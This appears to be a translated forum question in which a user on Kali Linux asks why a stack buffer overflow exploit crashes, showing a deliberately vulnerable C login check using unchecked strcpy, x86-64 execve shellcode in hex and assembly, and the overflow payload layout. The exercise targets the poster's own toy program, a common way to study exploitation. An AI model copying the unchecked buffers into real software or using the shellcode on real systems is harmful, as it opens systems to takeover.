Переполнение буфера в шеллкоде в linux - PullRequest
0 голосов
/ 02 мая 2020

Я использую 64 бита в Kali- Linux.

Я хочу использовать шелл-код, чтобы вызвать переполнение буфера. Это моя программа:

int UPtest(char *, char *,  char *);
void myprivatetest(void);

int main(int argc, char**argv){

   if(UPtest(argv[1], argv[2], argv[3])){
      printf("Access granted...\n");
   } else {
      printf("Wrong username and password!!!!\n");
   }
   return 0;
   }

int UPtest(char *a1 , char *a2, char *a3){

char Uid[29], Uname[27], Upass[72];
strcpy(Uid, a1);
strcpy(Uname, a2);
strcpy(Upass, a3);

if(!strcmp(Uname, "Admin") && !strcmp(Upass, "PassAd007"))
    return 1;
else
    return 0;
}

Это мой шелл-код:

\x48\x31\xD2\x52\x48\xB8\x2F\x62\x6E\x2F\x2F\x70\x  
73\x50\x48\x89\xE7\x52\x57\x48\x89\xE6\x48\x31\xC0\xB0\x3B\x0F\x05

код сборки шелл-кода

section .text
global _start

_start:

xor rdx, rdx
push rdx
mov rax, 0x64692f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall

Я запускаю 11111111111111 222222 333333. 0x0040118d это обратный адрес на главную.

enter image description here

Мне нужно 40 байтов добавить адрес шеллкода для покрытия обратного адреса. Итак, я использую hexedit, введите шеллкод + 31 * 11 + адрес шеллкода (30E1FFFFFF7F).

enter image description here

Но, когда я запускаю, происходит сбой. enter image description here

В конце я хочу набрать "/ bin / df". Где проблема?

...